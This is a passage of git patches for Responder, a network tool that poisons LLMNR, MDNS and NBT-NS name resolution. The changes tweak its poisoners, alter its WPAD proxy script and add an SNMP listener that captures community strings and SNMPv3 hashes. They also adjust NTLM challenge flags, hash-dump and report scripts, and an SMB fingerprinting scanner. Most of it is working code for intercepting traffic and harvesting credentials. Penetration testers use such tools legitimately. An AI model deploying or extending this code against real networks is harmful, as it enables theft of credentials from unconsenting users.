RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: return None #IPv4 if data[2:4] == b'\x00\x00' and LLMNRType: @@ -99,4 +99,4 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) except: - raise + pass diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a2bf073..5b9edb8 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -57,7 +57,7 @@ class MDNS(BaseRequestHandler): MDNSType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host - if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): + if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 0d94126..77b9059 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -31,7 +31,7 @@ class NBTNS(BaseRequestHandler): data, socket = self.request Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: return None if data[2:4] == b'\x01\x10': From 0bc226b4beaa84eb3ac26f5d563959ccf567262b Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 20:27:56 -0300 Subject: [PATCH 135/219] Added: append .local TLD to DontRespondToNames + MDNS bug fix --- poisoners/MDNS.py | 4 ++-- settings.py | 6 ++++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 5b9edb8..c0d68e2 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -32,14 +32,14 @@ def Parse_MDNS_Name(data): NameLen_ = data[1+NameLen] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] FinalName = Name+b'.'+Name_ - return FinalName.decode("latin-1") + return FinalName.decode("latin-1").replace("\x05","") else: data = NetworkRecvBufferPython2or3(data[12:]) NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + return Name+'.'+Name_.replace("\x05","") except IndexError: return None diff --git a/settings.py b/settings.py index 59e7216..d21600e 100755 --- a/settings.py +++ b/settings.py @@ -220,8 +220,10 @@ class Settings: self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) - self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) - + self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) + #add a .local to all provided DontRespondToName + self.MDNSTLD = ['.LOCAL'] + self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD] #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) From 56c3832a3c967084e0b104787a72a9b08d17e0b6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 21:21:53 -0300 Subject: [PATCH 136/219] Create FUNDING.yml --- .github/FUNDING.yml | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..25f74ef --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +github: lgandx +patreon: PythonResponder +custom: 'https://paypal.me/PythonResponder' From 00d9d27089d8f02658b08f596d28d1722c276d57 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 21:49:48 -0300 Subject: [PATCH 137/219] added requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..7cba2cd --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +netifaces==0.10.4 From c51251db5ff311743238b1675d52edb7c6849f00 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Aug 2022 00:26:11 -0300 Subject: [PATCH 138/219] Fixed potential disruption on Proxy-Auth --- servers/Proxy_Auth.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index 23db3f8..8bb6c13 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge): GrabUserAgent(data) GrabCookie(data) GrabHost(data) - Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... - Buffer.calculate() - return Buffer + #Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... + #Buffer.calculate() + #Return a TCP RST, so the client uses direct connection and avoids disruption. + return RST else: return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB... From 07dbcf5d6d2f56c9b578f887bded9c89e8cf56d8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Aug 2022 02:49:28 -0300 Subject: [PATCH 139/219] Modified wpad script --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index ab6d3eb..bae810a 100755 --- a/settings.py +++ b/settings.py @@ -204,7 +204,7 @@ class Settings: self.HtmlToInject = "Loading" if len(self.WPAD_Script) == 0: - self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): From b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 16 Sep 2022 09:36:51 -0300 Subject: [PATCH 140/219] Added dump by legacy protocols --- Report.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/Report.py b/Report.py index 1e8640a..a05e6e7 100755 --- a/Report.py +++ b/Report.py @@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor): for row in res.fetchall(): print('{0}'.format(row[0])) +def GetUniqueLookupsIP(cursor): + res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)") + for row in res.fetchall(): + if 'fe80::' in row[1]: + pass + else: + print('Protocol: {0}, IP: {1}'.format(row[0], row[1])) + def GetUniqueLookups(cursor): res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") for row in res.fetchall(): @@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1)) print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1)) GetUniqueDHCP(cursor) +print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1)) +GetUniqueLookupsIP(cursor) print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) GetUniqueLookups(cursor) GetStatisticUniqueLookups(cursor) From 4321919c9f59341377ab748d0e1800a3422c867a Mon Sep 17 00:00:00 2001 From: klemou Date: Sat, 1 Oct 2022 09:26:32 +0200 Subject: [PATCH 141/219] run smbv1 scan in runfinger --- tools/RunFinger.py | 380 ++++++++++++++++++++++++--------------------- 1 file changed, 199 insertions(+), 181 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 7a9cd5f..869928f 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -32,6 +32,7 @@ parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) +parser.add_option('-o','--outfile', action="store", help="Output file", dest="OutFilename", metavar="output.txt", default=None) parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) options, args = parser.parse_args() @@ -44,6 +45,7 @@ if options.TARGET == None and options.Filename == None: Timeout = options.Timeout Host = options.TARGET Filename = options.Filename +Outputfile = None if options.OutFilename==None else open(options.OutFilename,"w") SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" @@ -69,10 +71,10 @@ else: if not os.path.exists(DB): - cursor = sqlite3.connect(DB) - cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') - cursor.commit() - cursor.close() + cursor = sqlite3.connect(DB) + cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') + cursor.commit() + cursor.close() def StructWithLenPython2or3(endian,data): #Python2... @@ -99,104 +101,107 @@ def longueur(payload): return length def ParseNegotiateSMB2Ans(data): - if data[4:8] == b"\xfeSMB": - return True - else: - return False + if data[4:8] == b"\xfeSMB": + return True + else: + return False def SMB2SigningMandatory(data): - global SMB2signing - if data[70] == "\x03": - SMB2signing = "True" - else: - SMB2signing = "False" + global SMB2signing + if data[70] == "\x03": + SMB2signing = "True" + else: + SMB2signing = "False" def WorkstationFingerPrint(data): - return { - b"\x04\x00" :"Windows 95", - b"\x04\x0A" :"Windows 98", - b"\x04\x5A" :"Windows ME", - b"\x05\x00" :"Windows 2000", - b"\x05\x01" :"Windows XP", - b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", - b"\x06\x00" :"Windows Vista/Server 2008", - b"\x06\x01" :"Windows 7/Server 2008R2", - b"\x06\x02" :"Windows 8/Server 2012", - b"\x06\x03" :"Windows 8.1/Server 2012R2", - b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", - }.get(data, 'Other than Microsoft') + return { + b"\x04\x00" :"Windows 95", + b"\x04\x0A" :"Windows 98", + b"\x04\x5A" :"Windows ME", + b"\x05\x00" :"Windows 2000", + b"\x05\x01" :"Windows XP", + b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + b"\x06\x00" :"Windows Vista/Server 2008", + b"\x06\x01" :"Windows 7/Server 2008R2", + b"\x06\x02" :"Windows 8/Server 2012", + b"\x06\x03" :"Windows 8.1/Server 2012R2", + b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", + }.get(data, 'Other than Microsoft') def GetOsBuildNumber(data): - ProductBuild = struct.unpack(" Date: Wed, 19 Oct 2022 08:44:05 -0300 Subject: [PATCH 142/219] Removed machine accounts dump, since they are not crackable --- DumpHash.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/DumpHash.py b/DumpHash.py index 0e383d7..6ce39db 100755 --- a/DumpHash.py +++ b/DumpHash.py @@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor): res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") Output = "" for row in res.fetchall(): - Output += '{0}'.format(row[0])+'\n' + if "$" in row[0]: + pass + else: + Output += '{0}'.format(row[0])+'\n' return Output def GetResponderCompleteNTLMv1Hash(cursor): res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") Output = "" for row in res.fetchall(): - Output += '{0}'.format(row[0])+'\n' + if "$" in row[0]: + pass + else: + Output += '{0}'.format(row[0])+'\n' return Output cursor = DbConnect() From 709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8 Mon Sep 17 00:00:00 2001 From: requin Date: Mon, 31 Oct 2022 17:31:16 +0100 Subject: [PATCH 143/219] add hostname on smbv2 scan result --- tools/RunFinger.py | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 869928f..d0a6474 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -104,7 +104,7 @@ def ParseNegotiateSMB2Ans(data): if data[4:8] == b"\xfeSMB": return True else: - return False + return False def SMB2SigningMandatory(data): global SMB2signing @@ -130,8 +130,8 @@ def WorkstationFingerPrint(data): def GetOsBuildNumber(data): ProductBuild = struct.unpack(" Date: Wed, 2 Nov 2022 19:16:10 +0100 Subject: [PATCH 144/219] add flag (-s) to enable smbv1scan --- tools/RunFinger.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index d0a6474..8190286 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -34,6 +34,7 @@ parser.add_option('-i','--ip', action="store", help="Target IP address or class parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) parser.add_option('-o','--outfile', action="store", help="Output file", dest="OutFilename", metavar="output.txt", default=None) parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) +parser.add_option('-s','--smbv1', action='store_true', help="Enable smbv1 scan", dest="Smbv1", default=False) options, args = parser.parse_args() @@ -49,6 +50,7 @@ Outputfile = None if options.OutFilename==None else open(options.OutFilename,"w" SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" +SCAN_SMBV1 = options.Smbv1 class Packet(): fields = OrderedDict([ @@ -406,7 +408,7 @@ def handle(data, host): ################## def ShowSmallResults(Host): ConnectAndChoseSMB((Host,445)) - if SMB1 == "True": + if SCAN_SMBV1 and SMB1 == "True": try: Hostname, DomainJoined = DomainGrab((Host, 445)) Signing, OsVer, LanManClient = SmbFinger((Host, 445)) From 9d4f919b391200247f342dce50eb48921f13a545 Mon Sep 17 00:00:00 2001 From: Stephen Shkardoon Date: Sun, 6 Nov 2022 01:27:28 +1300 Subject: [PATCH 145/219] Implement a basic SNMP listener All community strings are logged as they are sent to the server. This initial implementation only supports SNMPv1 and SNMPv2c. `pyasn1` is required for this server to function. --- Responder.conf | 1 + Responder.py | 4 ++++ servers/SNMP.py | 50 +++++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 2 ++ utils.py | 1 + 5 files changed, 58 insertions(+) create mode 100755 servers/SNMP.py diff --git a/Responder.conf b/Responder.conf index 5c1b94e..c6350a4 100755 --- a/Responder.conf +++ b/Responder.conf @@ -15,6 +15,7 @@ DNS = On LDAP = On DCERPC = On WINRM = On +SNMP = Off ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index aeab473..6ef8862 100755 --- a/Responder.py +++ b/Responder.py @@ -365,6 +365,10 @@ def main(): threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) + if settings.Config.SNMP_On_Off: + from servers.SNMP import SNMP + threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,))) + for thread in threads: thread.daemon = True thread.start() diff --git a/servers/SNMP.py b/servers/SNMP.py new file mode 100755 index 0000000..5ba69cf --- /dev/null +++ b/servers/SNMP.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from pyasn1.codec.der.decoder import decode + + +class SNMP(BaseRequestHandler): + def handle(self): + data = self.request[0] + received_record, rest_of_substrate = decode(data) + + snmp_version = int(received_record['field-0']) + + if snmp_version > 1: + # TODO: Add support for SNMPv3 (which will have a field-0 value of 2) + print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:",""))) + return + + community_string = str(received_record['field-1']) + + SaveToDb( + { + "module": "SNMP", + "type": "Cleartext", + "client": self.client_address[0], + "user": community_string, + "cleartext": community_string, + "fullhash": community_string, + } + ) diff --git a/settings.py b/settings.py index bae810a..0367f24 100755 --- a/settings.py +++ b/settings.py @@ -99,6 +99,7 @@ class Settings: self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) + self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP')) # Db File self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) @@ -178,6 +179,7 @@ class Settings: self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') diff --git a/utils.py b/utils.py index 1ecea92..8b9175f 100755 --- a/utils.py +++ b/utils.py @@ -509,6 +509,7 @@ def StartupMessage(): print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) + print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled)) print('') print(color("[+] ", 2, 1) + "HTTP Options:") From 660b6ca309558e597da6789216afca861bcf4d45 Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Tue, 8 Nov 2022 12:23:01 +0100 Subject: [PATCH 146/219] Extend --disable-ess to HTTP --- packets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packets.py b/packets.py index 03ec50f..ecff5f7 100755 --- a/packets.py +++ b/packets.py @@ -359,7 +359,7 @@ class NTLM_Challenge(Packet): ("TargetNameLen", "\x06\x00"), ("TargetNameMaxLen", "\x06\x00"), ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), + ("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"), ("ServerChallenge", ""), ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("TargetInfoLen", "\x7e\x00"), From f39079da77cbf6d6afa9632dcdf70ff76da18cf8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 8 Nov 2022 09:22:41 -0300 Subject: [PATCH 147/219] Revert "run smbv1 scan in runfinger" --- tools/RunFinger.py | 383 +++++++++++++++++++++------------------------ 1 file changed, 181 insertions(+), 202 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 8190286..7a9cd5f 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -32,9 +32,7 @@ parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) -parser.add_option('-o','--outfile', action="store", help="Output file", dest="OutFilename", metavar="output.txt", default=None) parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) -parser.add_option('-s','--smbv1', action='store_true', help="Enable smbv1 scan", dest="Smbv1", default=False) options, args = parser.parse_args() @@ -46,11 +44,9 @@ if options.TARGET == None and options.Filename == None: Timeout = options.Timeout Host = options.TARGET Filename = options.Filename -Outputfile = None if options.OutFilename==None else open(options.OutFilename,"w") SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" -SCAN_SMBV1 = options.Smbv1 class Packet(): fields = OrderedDict([ @@ -73,10 +69,10 @@ else: if not os.path.exists(DB): - cursor = sqlite3.connect(DB) - cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') - cursor.commit() - cursor.close() + cursor = sqlite3.connect(DB) + cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') + cursor.commit() + cursor.close() def StructWithLenPython2or3(endian,data): #Python2... @@ -103,108 +99,104 @@ def longueur(payload): return length def ParseNegotiateSMB2Ans(data): - if data[4:8] == b"\xfeSMB": - return True - else: - return False + if data[4:8] == b"\xfeSMB": + return True + else: + return False def SMB2SigningMandatory(data): - global SMB2signing - if data[70] == "\x03": - SMB2signing = "True" - else: - SMB2signing = "False" + global SMB2signing + if data[70] == "\x03": + SMB2signing = "True" + else: + SMB2signing = "False" def WorkstationFingerPrint(data): - return { - b"\x04\x00" :"Windows 95", - b"\x04\x0A" :"Windows 98", - b"\x04\x5A" :"Windows ME", - b"\x05\x00" :"Windows 2000", - b"\x05\x01" :"Windows XP", - b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", - b"\x06\x00" :"Windows Vista/Server 2008", - b"\x06\x01" :"Windows 7/Server 2008R2", - b"\x06\x02" :"Windows 8/Server 2012", - b"\x06\x03" :"Windows 8.1/Server 2012R2", - b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", - }.get(data, 'Other than Microsoft') + return { + b"\x04\x00" :"Windows 95", + b"\x04\x0A" :"Windows 98", + b"\x04\x5A" :"Windows ME", + b"\x05\x00" :"Windows 2000", + b"\x05\x01" :"Windows XP", + b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + b"\x06\x00" :"Windows Vista/Server 2008", + b"\x06\x01" :"Windows 7/Server 2008R2", + b"\x06\x02" :"Windows 8/Server 2012", + b"\x06\x03" :"Windows 8.1/Server 2012R2", + b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", + }.get(data, 'Other than Microsoft') def GetOsBuildNumber(data): - ProductBuild = struct.unpack(" Date: Fri, 18 Nov 2022 18:21:23 +0100 Subject: [PATCH 148/219] SNMPv3 support --- servers/SNMP.py | 46 +++++++++++++++++++++++++++++----------------- 1 file changed, 29 insertions(+), 17 deletions(-) diff --git a/servers/SNMP.py b/servers/SNMP.py index 5ba69cf..718b5e3 100755 --- a/servers/SNMP.py +++ b/servers/SNMP.py @@ -15,15 +15,14 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * +from binascii import hexlify +from pyasn1.codec.ber.decoder import decode if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -from pyasn1.codec.der.decoder import decode - - class SNMP(BaseRequestHandler): def handle(self): data = self.request[0] @@ -31,20 +30,33 @@ class SNMP(BaseRequestHandler): snmp_version = int(received_record['field-0']) - if snmp_version > 1: - # TODO: Add support for SNMPv3 (which will have a field-0 value of 2) - print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:",""))) - return + if snmp_version == 3: + full_snmp_msg = hexlify(data).decode('utf-8') + received_record_inner, _ = decode(received_record['field-2']) + snmp_user = str(received_record_inner['field-3']) + engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8') + auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8') - community_string = str(received_record['field-1']) - SaveToDb( - { + SaveToDb({ "module": "SNMP", - "type": "Cleartext", - "client": self.client_address[0], - "user": community_string, - "cleartext": community_string, - "fullhash": community_string, - } - ) + "type": "SNMPv3", + "client" : self.client_address[0], + "user": snmp_user, + "hash": auth_params, + "fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params) + }) + else: + community_string = str(received_record['field-1']) + snmp_version = '1' if snmp_version == 0 else '2c' + + SaveToDb( + { + "module": "SNMP", + "type": "Cleartext SNMPv{}".format(snmp_version), + "client": self.client_address[0], + "user": community_string, + "cleartext": community_string, + "fullhash": community_string, + } + ) From 69f431e58f07c231e75a73b0782855e9277573ac Mon Sep 17 00:00:00 2001 From: kevintellier Date: Wed, 21 Dec 2022 17:57:09 +0100 Subject: [PATCH 149/219] Added full path to gen-self-sign-cert.sh --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 0367f24..986a3d0 100755 --- a/settings.py +++ b/settings.py @@ -284,7 +284,7 @@ class Settings: pass else: #If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null - Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1") + Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1") try: NetworkCard = subprocess.check_output(["ifconfig", "-a"]) From 8953f87bbd1cefae878e6bd6b4f69bf944542bd2 Mon Sep 17 00:00:00 2001 From: also-here Date: Fri, 3 Mar 2023 16:20:22 -0600 Subject: [PATCH 150/219] Update settings.py to expand IPv6 addresses. Still handles IPv4 addresses as well. --- settings.py | 61 ++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 44 insertions(+), 17 deletions(-) diff --git a/settings.py b/settings.py index 0367f24..d74f2b7 100755 --- a/settings.py +++ b/settings.py @@ -42,25 +42,52 @@ class Settings: return str.upper() == 'ON' def ExpandIPRanges(self): - def expand_ranges(lst): + def expand_ranges(lst): ret = [] for l in lst: - tab = l.split('.') - x = {} - i = 0 - for byte in tab: - if '-' not in byte: - x[i] = x[i+1] = int(byte) - else: - b = byte.split('-') - x[i] = int(b[0]) - x[i+1] = int(b[1]) - i += 2 - for a in range(x[0], x[1]+1): - for b in range(x[2], x[3]+1): - for c in range(x[4], x[5]+1): - for d in range(x[6], x[7]+1): - ret.append('%d.%d.%d.%d' % (a, b, c, d)) + if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses + while l.count(':') < 7: + pos = l.find('::') + l = l[:pos] + ':' + l[pos:] + tab = l.split(':') + x = {} + i = 0 + for byte in tab: + if byte == '': + byte = '0' + if '-' not in byte: + x[i] = x[i+1] = int(byte, base=16) + else: + b = byte.split('-') + x[i] = int(b[0], base=16) + x[i+1] = int(b[1], base=16) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + for e in range(x[8], x[9]+1): + for f in range(x[10], x[11]+1): + for g in range(x[12], x[13]+1): + for h in range(x[14], x[15]+1): + ret.append('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) + else: + tab = l.split('.') + x = {} + i = 0 + for byte in tab: + if '-' not in byte: + x[i] = x[i+1] = int(byte) + else: + b = byte.split('-') + x[i] = int(b[0]) + x[i+1] = int(b[1]) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + ret.append('%d.%d.%d.%d' % (a, b, c, d)) return ret self.RespondTo = expand_ranges(self.RespondTo) From 3f5c836ba0926bdf3a4dabceea8cf3864edaf4a2 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 18:33:48 -0600 Subject: [PATCH 151/219] Update settings.py compresses expanded IPv6 addresses --- settings.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 